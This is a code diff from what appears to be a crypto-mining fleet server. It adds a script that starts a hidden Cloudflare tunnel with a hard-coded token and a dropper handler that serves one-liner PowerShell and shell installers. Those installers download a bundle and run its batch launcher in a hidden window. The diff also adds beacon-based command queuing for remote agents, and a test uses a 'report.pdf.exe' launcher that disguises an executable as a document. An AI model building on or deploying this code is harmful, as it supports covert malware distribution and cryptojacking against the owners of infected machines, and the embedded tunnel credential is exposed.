Normal file
52
scripts/usb-start-cloudflared.ps1
Normal file
@@ -0,0 +1,52 @@
|
|||||||
|
# Starts cloudflared tunnel run --token for portable USB / LAUNCH.bat.
|
||||||
|
param(
|
||||||
|
[Parameter(Mandatory = $true)][string]$DeckRoot
|
||||||
|
)
|
||||||
|
|
||||||
|
$ErrorActionPreference = 'Stop'
|
||||||
|
$token = $env:AF_TUNNEL_TOKEN
|
||||||
|
if (-not $token) {
|
||||||
|
$sidecar = Join-Path $DeckRoot 'data\cloudflared-token.txt'
|
||||||
|
if (Test-Path -LiteralPath $sidecar) {
|
||||||
|
$token = (Get-Content -LiteralPath $sidecar -Raw).Trim()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (-not $token) {
|
||||||
|
$cfgPath = Join-Path $DeckRoot 'data\config.json'
|
||||||
|
if (Test-Path -LiteralPath $cfgPath) {
|
||||||
|
try {
|
||||||
|
$cfg = Get-Content -LiteralPath $cfgPath -Raw | ConvertFrom-Json
|
||||||
|
$token = [string]$cfg.tunnel_defaults.cloudflare_tunnel_token
|
||||||
|
$token = $token.Trim().Trim('"')
|
||||||
|
} catch { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (-not $token) {
|
||||||
|
# Builtin fallback (matches server/config.go builtinCloudflareTunnelToken)
|
||||||
|
$token = 'eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWYzNzY5NGYtNDA4Yy00ZWI3LWE2M2MtMzM5MzQ1MjI3NWIwIiwicyI6IlpEa3lPVE5pWWpjdE9USXlZeTAwTlRjNExUaGlZVGN0WWpGaFlUWmtOR05rTXpjMyJ9'
|
||||||
|
}
|
||||||
|
|
||||||
|
$bin = Join-Path $DeckRoot 'tools\cloudflared.exe'
|
||||||
|
if (-not (Test-Path -LiteralPath $bin)) {
|
||||||
|
New-Item -ItemType Directory -Force -Path (Split-Path -LiteralPath $bin) | Out-Null
|
||||||
|
Write-Host '[Tunnel] Downloading cloudflared.exe...'
|
||||||
|
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
|
||||||
|
Invoke-WebRequest -Uri 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe' -OutFile $bin
|
||||||
|
}
|
||||||
|
|
||||||
|
$pidFile = Join-Path $DeckRoot 'data\cloudflared.pid'
|
||||||
|
$existing = Get-Process -Name 'cloudflared' -ErrorAction SilentlyContinue
|
||||||
|
if ($existing) {
|
||||||
|
Write-Host "[Tunnel] cloudflared already running (pid $($existing.Id))"
|
||||||
|
exit 0
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Host '[Tunnel] Starting Cloudflare connector...'
|
||||||
|
$p = Start-Process -FilePath $bin -ArgumentList @('tunnel', '--no-autoupdate', 'run', '--token', $token) -WindowStyle Hidden -PassThru
|
||||||
|
Set-Content -LiteralPath $pidFile -Value $p.Id -Encoding ascii
|
||||||
|
Start-Sleep -Seconds 2
|
||||||
|
if ($p.HasExited) {
|
||||||
|
Write-Host '[Tunnel] WARNING: cloudflared exited immediately — check token and Cloudflare tunnel service URL (http://localhost:8989)'
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
Write-Host "[Tunnel] Connector running (pid $($p.Id))"
|
||||||
@@ -232,15 +232,26 @@ func DefaultConfig() *Config {
|
|||||||
func LoadConfig() *Config {
|
func LoadConfig() *Config {
|
||||||
cfg := DefaultConfig()
|
cfg := DefaultConfig()
|
||||||
|
|
||||||
// Parse CLI flags
|
|
||||||
port := flag.Int("port", 8989, "Server port")
|
port := flag.Int("port", 8989, "Server port")
|
||||||
dataDir := flag.String("data", "data", "Data directory")
|
dataDir := flag.String("data", "data", "Data directory")
|
||||||
|
cliPortExplicit := false
|
||||||
flag.Parse()
|
flag.Parse()
|
||||||
|
flag.Visit(func(f *flag.Flag) {
|
||||||
|
if f.Name == "port" {
|
||||||
|
cliPortExplicit = true
|
||||||
|
}
|
||||||
|
})
|
||||||
|
cliPort := *port
|
||||||
|
|
||||||
cfg.Port = *port
|
// Resolve data dir before reading config.json so relative -data always targets <repo>/data.
|
||||||
cfg.DataDir = *dataDir
|
projectRoot := findProjectRoot()
|
||||||
|
cfg.DataDir = resolveDataDir(*dataDir, projectRoot)
|
||||||
|
if cliPortExplicit {
|
||||||
|
cfg.Port = cliPort
|
||||||
|
} else {
|
||||||
|
cfg.Port = cliPort
|
||||||
|
}
|
||||||
|
|
||||||
// Try to load from config file
|
|
||||||
configPath := filepath.Join(cfg.DataDir, "config.json")
|
configPath := filepath.Join(cfg.DataDir, "config.json")
|
||||||
if data, err := os.ReadFile(configPath); err == nil {
|
if data, err := os.ReadFile(configPath); err == nil {
|
||||||
var fileCfg Config
|
var fileCfg Config
|
||||||
@@ -265,6 +276,11 @@ func LoadConfig() *Config {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Explicit -port wins over config.json (LAUNCH/devrun pass -port alongside file-based settings).
|
||||||
|
if cliPortExplicit {
|
||||||
|
cfg.Port = cliPort
|
||||||
|
}
|
||||||
|
|
||||||
if strings.TrimSpace(cfg.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(cfg.Server.PublicURL) != "" {
|
if strings.TrimSpace(cfg.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(cfg.Server.PublicURL) != "" {
|
||||||
cfg.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(cfg.Server.PublicURL)
|
cfg.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(cfg.Server.PublicURL)
|
||||||
}
|
}
|
||||||
@@ -537,6 +553,15 @@ func mergeConfig(dst, src *Config) {
|
|||||||
if src.Server.SignTimestampURL != "" {
|
if src.Server.SignTimestampURL != "" {
|
||||||
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
|
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
|
||||||
}
|
}
|
||||||
|
if src.Server.FleetSecret != "" {
|
||||||
|
dst.Server.FleetSecret = src.Server.FleetSecret
|
||||||
|
}
|
||||||
|
if src.TunnelDefaults.CloudflaredTargetURL != "" {
|
||||||
|
dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL
|
||||||
|
}
|
||||||
|
if src.TunnelDefaults.CloudflareTunnelToken != "" {
|
||||||
|
dst.TunnelDefaults.CloudflareTunnelToken = src.TunnelDefaults.CloudflareTunnelToken
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// nestedJSONKeys returns keys explicitly present in a nested JSON object section.
|
// nestedJSONKeys returns keys explicitly present in a nested JSON object section.
|
||||||
|
|||||||
@@ -281,6 +281,67 @@ func TestConfigSaveAndReload(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestLoadConfigResolvesRelativeDataBeforeFileRead(t *testing.T) {
|
||||||
|
cwd, err := os.Getwd()
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
repo := t.TempDir()
|
||||||
|
if err := os.WriteFile(filepath.Join(repo, "LAUNCH.bat"), []byte(""), 0644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
dataDir := filepath.Join(repo, "data")
|
||||||
|
if err := os.MkdirAll(dataDir, 0755); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
fileCfg := DefaultConfig()
|
||||||
|
fileCfg.Wallet.Address = "48fromrepo"
|
||||||
|
data, err := json.Marshal(fileCfg)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(filepath.Join(dataDir, "config.json"), data, 0644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
serverDir := filepath.Join(repo, "server")
|
||||||
|
if err := os.MkdirAll(serverDir, 0755); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := os.Chdir(serverDir); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer func() { _ = os.Chdir(cwd) }()
|
||||||
|
|
||||||
|
resetConfigFlags([]string{"test", "-data", "data"})
|
||||||
|
cfg := LoadConfig()
|
||||||
|
wantData := filepath.Join(repo, "data")
|
||||||
|
if cfg.DataDir != wantData {
|
||||||
|
t.Fatalf("data dir: got %q want %q", cfg.DataDir, wantData)
|
||||||
|
}
|
||||||
|
if cfg.Wallet.Address != "48fromrepo" {
|
||||||
|
t.Fatalf("expected config from repo data/, got wallet %q", cfg.Wallet.Address)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestLoadConfigFilePortWhenCLINotExplicit(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
fileCfg := DefaultConfig()
|
||||||
|
fileCfg.Port = 9001
|
||||||
|
data, err := json.Marshal(fileCfg)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(filepath.Join(dir, "config.json"), data, 0644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
// No -port on CLI — only -data.
|
||||||
|
resetConfigFlags([]string{"test", "-data", dir})
|
||||||
|
cfg := LoadConfig()
|
||||||
|
if cfg.Port != 9001 {
|
||||||
|
t.Fatalf("file port when CLI omits -port: got %d", cfg.Port)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestLoadConfigCLIFlags(t *testing.T) {
|
func TestLoadConfigCLIFlags(t *testing.T) {
|
||||||
dir := t.TempDir()
|
dir := t.TempDir()
|
||||||
resetConfigFlags([]string{"test", "-port", "9999", "-data", dir})
|
resetConfigFlags([]string{"test", "-port", "9999", "-data", dir})
|
||||||
@@ -311,8 +372,8 @@ func TestLoadConfigMergesFileOverrides(t *testing.T) {
|
|||||||
resetConfigFlags([]string{"test", "-port", "8989", "-data", dir})
|
resetConfigFlags([]string{"test", "-port", "8989", "-data", dir})
|
||||||
cfg := LoadConfig()
|
cfg := LoadConfig()
|
||||||
|
|
||||||
if cfg.Port != 9001 {
|
if cfg.Port != 8989 {
|
||||||
t.Fatalf("file port override: got %d", cfg.Port)
|
t.Fatalf("explicit CLI -port should win over file port: got %d", cfg.Port)
|
||||||
}
|
}
|
||||||
if cfg.Pool.Host != "custom.pool.example" {
|
if cfg.Pool.Host != "custom.pool.example" {
|
||||||
t.Fatalf("file pool host: got %q", cfg.Pool.Host)
|
t.Fatalf("file pool host: got %q", cfg.Pool.Host)
|
||||||
|
|||||||
@@ -224,10 +224,8 @@ func (e *Evaluator) ClearAgent(agentID string) {
|
|||||||
// Remove cooldown + baseline entries so the agent's next appearance
|
// Remove cooldown + baseline entries so the agent's next appearance
|
||||||
// (e.g. re-registration) starts fresh.
|
// (e.g. re-registration) starts fresh.
|
||||||
delete(e.baseline, agentID)
|
delete(e.baseline, agentID)
|
||||||
for k := range e.lastFired {
|
for _, prefix := range []string{"offline:", "hashrate:", "reject:"} {
|
||||||
if len(k) > len(agentID) && k[len(k)-len(agentID):] == agentID {
|
delete(e.lastFired, prefix+agentID)
|
||||||
delete(e.lastFired, k)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
41
server/internal/api/agent_ws_limiter.go
Normal file
41
server/internal/api/agent_ws_limiter.go
Normal file
@@ -0,0 +1,41 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
import (
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
agentWSRateLimitMax = 30
|
||||||
|
agentWSRateLimitWindow = time.Minute
|
||||||
|
agentWSAuthTimeout = 45 * time.Second
|
||||||
|
)
|
||||||
|
|
||||||
|
type agentWSRateLimiter struct {
|
||||||
|
mu sync.Mutex
|
||||||
|
attempts map[string][]time.Time
|
||||||
|
}
|
||||||
|
|
||||||
|
var agentWSRateLim = agentWSRateLimiter{attempts: make(map[string][]time.Time)}
|
||||||
|
|
||||||
|
func allowAgentWSUpgrade(clientIP string) bool {
|
||||||
|
if clientIP == "" {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
now := time.Now()
|
||||||
|
cutoff := now.Add(-agentWSRateLimitWindow)
|
||||||
|
agentWSRateLim.mu.Lock()
|
||||||
|
defer agentWSRateLim.mu.Unlock()
|
||||||
|
filtered := agentWSRateLim.attempts[clientIP][:0]
|
||||||
|
for _, t := range agentWSRateLim.attempts[clientIP] {
|
||||||
|
if t.After(cutoff) {
|
||||||
|
filtered = append(filtered, t)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(filtered) >= agentWSRateLimitMax {
|
||||||
|
agentWSRateLim.attempts[clientIP] = filtered
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
agentWSRateLim.attempts[clientIP] = append(filtered, now)
|
||||||
|
return true
|
||||||
|
}
|
||||||
@@ -118,6 +118,7 @@ func (h *AIHandler) GetEngine(agentID string) *ollama.Engine {
|
|||||||
defer h.mu.Unlock()
|
defer h.mu.Unlock()
|
||||||
if entry, ok := h.engines[agentID]; ok {
|
if entry, ok := h.engines[agentID]; ok {
|
||||||
entry.lastUsed = time.Now()
|
entry.lastUsed = time.Now()
|
||||||
|
h.engines[agentID] = entry
|
||||||
return entry.engine
|
return entry.engine
|
||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
|
|||||||
@@ -52,8 +52,19 @@ func (h *WSHub) initBeaconMaps() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// MarkBeaconSeen records a successful HTTPS beacon from an agent.
|
func (h *WSHub) agentExistsInDB(agentID string) bool {
|
||||||
|
if h.db == nil || agentID == "" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
_, err := h.db.GetAgent(agentID)
|
||||||
|
return err == nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// MarkBeaconSeen records a successful HTTPS beacon from a known agent.
|
||||||
func (h *WSHub) MarkBeaconSeen(agentID string) {
|
func (h *WSHub) MarkBeaconSeen(agentID string) {
|
||||||
|
if !h.agentExistsInDB(agentID) {
|
||||||
|
return
|
||||||
|
}
|
||||||
h.initBeaconMaps()
|
h.initBeaconMaps()
|
||||||
h.beaconMu.Lock()
|
h.beaconMu.Lock()
|
||||||
h.beaconLastSeen[agentID] = time.Now()
|
h.beaconLastSeen[agentID] = time.Now()
|
||||||
@@ -84,7 +95,7 @@ func (h *WSHub) IsAgentReachable(agentID string) bool {
|
|||||||
|
|
||||||
// EnqueueBeaconCommand queues a command for HTTPS beacon delivery.
|
// EnqueueBeaconCommand queues a command for HTTPS beacon delivery.
|
||||||
func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]interface{}) bool {
|
func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]interface{}) bool {
|
||||||
if !h.isAgentBeaconReachable(agentID) {
|
if !h.agentExistsInDB(agentID) || !h.isAgentBeaconReachable(agentID) {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
cmd := BeaconCommand{Action: action}
|
cmd := BeaconCommand{Action: action}
|
||||||
@@ -188,7 +199,6 @@ func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
h.MarkBeaconSeen(agentID)
|
|
||||||
if h.db != nil {
|
if h.db != nil {
|
||||||
if _, err := h.db.GetAgent(agentID); err != nil && (req.Hostname != "" || req.Wallet != "") {
|
if _, err := h.db.GetAgent(agentID); err != nil && (req.Hostname != "" || req.Wallet != "") {
|
||||||
display := req.Hostname
|
display := req.Hostname
|
||||||
@@ -204,6 +214,7 @@ func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
h.MarkBeaconSeen(agentID)
|
||||||
h.applyBeaconStats(agentID, req.Stats)
|
h.applyBeaconStats(agentID, req.Stats)
|
||||||
cmds := h.dequeueBeaconCommands(agentID)
|
cmds := h.dequeueBeaconCommands(agentID)
|
||||||
writeJSON(w, beaconResponse{OK: true, Commands: cmds})
|
writeJSON(w, beaconResponse{OK: true, Commands: cmds})
|
||||||
|
|||||||
@@ -57,6 +57,14 @@ func TestAgentBeaconFleetSecretAuth(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestBeaconCommandQueueUnknownAgent(t *testing.T) {
|
||||||
|
hub := NewWSHub(nil)
|
||||||
|
hub.MarkBeaconSeen("ghost-agent")
|
||||||
|
if hub.EnqueueBeaconCommand("ghost-agent", "pause", nil) {
|
||||||
|
t.Fatal("enqueue should fail for unknown agent")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestBeaconCommandQueueRoundtrip(t *testing.T) {
|
func TestBeaconCommandQueueRoundtrip(t *testing.T) {
|
||||||
database, err := db.New(t.TempDir())
|
database, err := db.New(t.TempDir())
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -3,10 +3,12 @@ package api
|
|||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"net/http"
|
"net/http"
|
||||||
|
"os"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
dbpkg "crypto-miner-server/internal/db"
|
dbpkg "crypto-miner-server/internal/db"
|
||||||
|
"crypto-miner-server/internal/models"
|
||||||
)
|
)
|
||||||
|
|
||||||
// DropperHandler serves the one-liner remote-install endpoints:
|
// DropperHandler serves the one-liner remote-install endpoints:
|
||||||
@@ -17,11 +19,12 @@ import (
|
|||||||
// GET /install.ps1 — PowerShell one-liner installer (Windows)
|
// GET /install.ps1 — PowerShell one-liner installer (Windows)
|
||||||
type DropperHandler struct {
|
type DropperHandler struct {
|
||||||
db *dbpkg.Database
|
db *dbpkg.Database
|
||||||
|
dataDir string
|
||||||
publicURLFunc func() string
|
publicURLFunc func() string
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewDropperHandler(database *dbpkg.Database, publicURLFunc func() string) *DropperHandler {
|
func NewDropperHandler(database *dbpkg.Database, dataDir string, publicURLFunc func() string) *DropperHandler {
|
||||||
return &DropperHandler{db: database, publicURLFunc: publicURLFunc}
|
return &DropperHandler{db: database, dataDir: dataDir, publicURLFunc: publicURLFunc}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (h *DropperHandler) publicURL() string {
|
func (h *DropperHandler) publicURL() string {
|
||||||
@@ -74,8 +77,7 @@ func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
|
|||||||
for _, p := range candidates {
|
for _, p := range candidates {
|
||||||
b, err := h.db.GetLatestBuildForPlatform(p)
|
b, err := h.db.GetLatestBuildForPlatform(p)
|
||||||
if err == nil && b != nil {
|
if err == nil && b != nil {
|
||||||
buildPath = b.FilePath
|
buildPath, buildName = resolveDropperArtifact(h.dataDir, b)
|
||||||
buildName = filepath.Base(b.FilePath)
|
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -181,7 +183,7 @@ func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
|
|||||||
" $dir = $tmp + '_bundle'" + nl +
|
" $dir = $tmp + '_bundle'" + nl +
|
||||||
" Add-Type -AssemblyName System.IO.Compression.FileSystem" + nl +
|
" Add-Type -AssemblyName System.IO.Compression.FileSystem" + nl +
|
||||||
" [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)" + nl +
|
" [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)" + nl +
|
||||||
" foreach ($name in @('Start.bat', 'Deploy.bat')) {" + nl +
|
" foreach ($name in @('Start.bat', 'Deploy.bat', 'start.bat', 'deploy.bat')) {" + nl +
|
||||||
" $c = Join-Path $dir $name" + nl +
|
" $c = Join-Path $dir $name" + nl +
|
||||||
" if (Test-Path $c) { Start-Process 'cmd.exe' -ArgumentList \"/c " + bt + "\"$c" + bt + "\"\" -WindowStyle Hidden; break }" + nl +
|
" if (Test-Path $c) { Start-Process 'cmd.exe' -ArgumentList \"/c " + bt + "\"$c" + bt + "\"\" -WindowStyle Hidden; break }" + nl +
|
||||||
" }" + nl +
|
" }" + nl +
|
||||||
@@ -208,13 +210,37 @@ func (h *DropperHandler) resolveBase(r *http.Request) string {
|
|||||||
scheme = "https"
|
scheme = "https"
|
||||||
}
|
}
|
||||||
// Honour X-Forwarded-Proto set by reverse proxies (e.g. Cloudflare tunnel).
|
// Honour X-Forwarded-Proto set by reverse proxies (e.g. Cloudflare tunnel).
|
||||||
if proto := r.Header.Get("X-Forwarded-Proto"); proto == "https" {
|
if proto := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Proto"), ",")[0]); strings.EqualFold(proto, "https") {
|
||||||
scheme = "https"
|
scheme = "https"
|
||||||
}
|
}
|
||||||
// Prefer X-Forwarded-Host (behind a reverse proxy) over the raw Host.
|
// Prefer X-Forwarded-Host (behind a reverse proxy) over the raw Host.
|
||||||
host := r.Header.Get("X-Forwarded-Host")
|
host := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Host"), ",")[0])
|
||||||
if host == "" {
|
if host == "" {
|
||||||
host = r.Host
|
host = r.Host
|
||||||
}
|
}
|
||||||
return scheme + "://" + host
|
return scheme + "://" + host
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// resolveDropperArtifact prefers DownloadURL (bundle artifact) over FilePath (launcher).
|
||||||
|
func resolveDropperArtifact(dataDir string, b *models.BuildRecord) (path, name string) {
|
||||||
|
if b == nil {
|
||||||
|
return "", ""
|
||||||
|
}
|
||||||
|
dl := strings.TrimSpace(b.DownloadURL)
|
||||||
|
if dl != "" && strings.Contains(dl, "/artifact/") {
|
||||||
|
parts := strings.Split(dl, "/artifact/")
|
||||||
|
if len(parts) == 2 && parts[1] != "" {
|
||||||
|
artifactName := filepath.Base(parts[1])
|
||||||
|
candidate := filepath.Join(dataDir, "builds", b.ID, artifactName)
|
||||||
|
if _, err := os.Stat(candidate); err == nil {
|
||||||
|
return candidate, artifactName
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
path = b.FilePath
|
||||||
|
name = strings.TrimSpace(b.FileName)
|
||||||
|
if name == "" && path != "" {
|
||||||
|
name = filepath.Base(path)
|
||||||
|
}
|
||||||
|
return path, name
|
||||||
|
}
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ func newTestDropperHandler(t *testing.T) (*DropperHandler, *db.Database, string)
|
|||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
t.Cleanup(func() { _ = database.Close() })
|
t.Cleanup(func() { _ = database.Close() })
|
||||||
return NewDropperHandler(database, func() string { return "https://public.example.com" }), database, dataDir
|
return NewDropperHandler(database, dataDir, func() string { return "https://public.example.com" }), database, dataDir
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestDetectPlatformQueryParam(t *testing.T) {
|
func TestDetectPlatformQueryParam(t *testing.T) {
|
||||||
@@ -113,7 +113,7 @@ func TestDropperResolveBasePublicURL(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func TestDropperResolveBaseFromRequest(t *testing.T) {
|
func TestDropperResolveBaseFromRequest(t *testing.T) {
|
||||||
h := NewDropperHandler(nil, nil)
|
h := NewDropperHandler(nil, "", nil)
|
||||||
req := httptest.NewRequest(http.MethodGet, "/install.sh", nil)
|
req := httptest.NewRequest(http.MethodGet, "/install.sh", nil)
|
||||||
req.Host = "deck.local:8989"
|
req.Host = "deck.local:8989"
|
||||||
req.Header.Set("X-Forwarded-Host", "proxy.example.com")
|
req.Header.Set("X-Forwarded-Host", "proxy.example.com")
|
||||||
@@ -136,6 +136,66 @@ func TestDropperServeShContent(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestDropperServeGetPrefersBundleArtifact(t *testing.T) {
|
||||||
|
h, database, dataDir := newTestDropperHandler(t)
|
||||||
|
buildID := "fusion-bundle"
|
||||||
|
buildDir := filepath.Join(dataDir, "builds", buildID)
|
||||||
|
if err := os.MkdirAll(buildDir, 0755); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
launcherPath := filepath.Join(buildDir, "report.pdf.exe")
|
||||||
|
bundlePath := filepath.Join(buildDir, "report-package.zip")
|
||||||
|
if err := os.WriteFile(launcherPath, []byte("launcher-only"), 0644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
bundleContent := []byte("zip-bundle-with-payload")
|
||||||
|
if err := os.WriteFile(bundlePath, bundleContent, 0644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := database.InsertBuild(&models.BuildRecord{
|
||||||
|
ID: buildID, WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
|
||||||
|
FilePath: launcherPath, FileName: "report.pdf.exe", Platform: "windows",
|
||||||
|
DownloadURL: "/api/v1/builds/" + buildID + "/artifact/report-package.zip",
|
||||||
|
CreatedAt: time.Now(),
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
req := httptest.NewRequest(http.MethodGet, "/get?os=windows", nil)
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
h.ServeGet(rec, req)
|
||||||
|
if rec.Code != http.StatusOK {
|
||||||
|
t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
|
||||||
|
}
|
||||||
|
if rec.Body.String() != string(bundleContent) {
|
||||||
|
t.Fatalf("expected bundle bytes, got %q", rec.Body.String())
|
||||||
|
}
|
||||||
|
if !strings.Contains(rec.Header().Get("Content-Disposition"), "report-package.zip") {
|
||||||
|
t.Fatalf("disposition: %q", rec.Header().Get("Content-Disposition"))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestResolveDropperArtifact(t *testing.T) {
|
||||||
|
dataDir := t.TempDir()
|
||||||
|
buildID := "bid"
|
||||||
|
buildDir := filepath.Join(dataDir, "builds", buildID)
|
||||||
|
if err := os.MkdirAll(buildDir, 0755); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
bundle := filepath.Join(buildDir, "kit.zip")
|
||||||
|
if err := os.WriteFile(bundle, []byte("z"), 0644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
b := &models.BuildRecord{
|
||||||
|
ID: buildID, FilePath: filepath.Join(buildDir, "runner.exe"), FileName: "runner.exe",
|
||||||
|
DownloadURL: "/api/v1/builds/" + buildID + "/artifact/kit.zip",
|
||||||
|
}
|
||||||
|
path, name := resolveDropperArtifact(dataDir, b)
|
||||||
|
if path != bundle || name != "kit.zip" {
|
||||||
|
t.Fatalf("artifact resolve: path=%q name=%q", path, name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestDropperServePs1Content(t *testing.T) {
|
func TestDropperServePs1Content(t *testing.T) {
|
||||||
h, _, _ := newTestDropperHandler(t)
|
h, _, _ := newTestDropperHandler(t)
|
||||||
req := httptest.NewRequest(http.MethodGet, "/install.ps1", nil)
|
req := httptest.NewRequest(http.MethodGet, "/install.ps1", nil)
|
||||||
@@ -147,4 +207,7 @@ func TestDropperServePs1Content(t *testing.T) {
|
|||||||
if !strings.Contains(rec.Body.String(), "DownloadFile") {
|
if !strings.Contains(rec.Body.String(), "DownloadFile") {
|
||||||
t.Fatal("expected PowerShell download snippet")
|
t.Fatal("expected PowerShell download snippet")
|
||||||
}
|
}
|
||||||
|
if !strings.Contains(rec.Body.String(), "start.bat") {
|
||||||
|
t.Fatal("expected lowercase start.bat in PS1 launcher list")
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -155,21 +155,16 @@ func (f *FleetHandler) GetXMRPrice(w http.ResponseWriter, r *http.Request) {
|
|||||||
}
|
}
|
||||||
f.xmrPriceMu.Unlock()
|
f.xmrPriceMu.Unlock()
|
||||||
|
|
||||||
client := &http.Client{Timeout: 8 * time.Second}
|
usd, err := fetchCoinGeckoXMRPrice()
|
||||||
resp, err := client.Get("https://api.coingecko.com/api/v3/simple/price?ids=monero&vs_currencies=usd") //nolint:gosec
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
http.Error(w, "price fetch failed: "+err.Error(), http.StatusServiceUnavailable)
|
status := http.StatusServiceUnavailable
|
||||||
|
msg := err.Error()
|
||||||
|
if strings.Contains(msg, "status") || strings.Contains(msg, "parse") {
|
||||||
|
status = http.StatusBadGateway
|
||||||
|
}
|
||||||
|
http.Error(w, "price fetch failed: "+msg, status)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
defer resp.Body.Close()
|
|
||||||
body, _ := io.ReadAll(io.LimitReader(resp.Body, 4096))
|
|
||||||
|
|
||||||
var raw map[string]map[string]float64
|
|
||||||
if err := json.Unmarshal(body, &raw); err != nil || raw["monero"] == nil {
|
|
||||||
http.Error(w, "price parse failed", http.StatusBadGateway)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
usd := raw["monero"]["usd"]
|
|
||||||
|
|
||||||
entry := &xmrPriceEntry{USD: usd, fetchedAt: time.Now()}
|
entry := &xmrPriceEntry{USD: usd, fetchedAt: time.Now()}
|
||||||
f.xmrPriceMu.Lock()
|
f.xmrPriceMu.Lock()
|
||||||
@@ -183,6 +178,41 @@ func (f *FleetHandler) GetXMRPrice(w http.ResponseWriter, r *http.Request) {
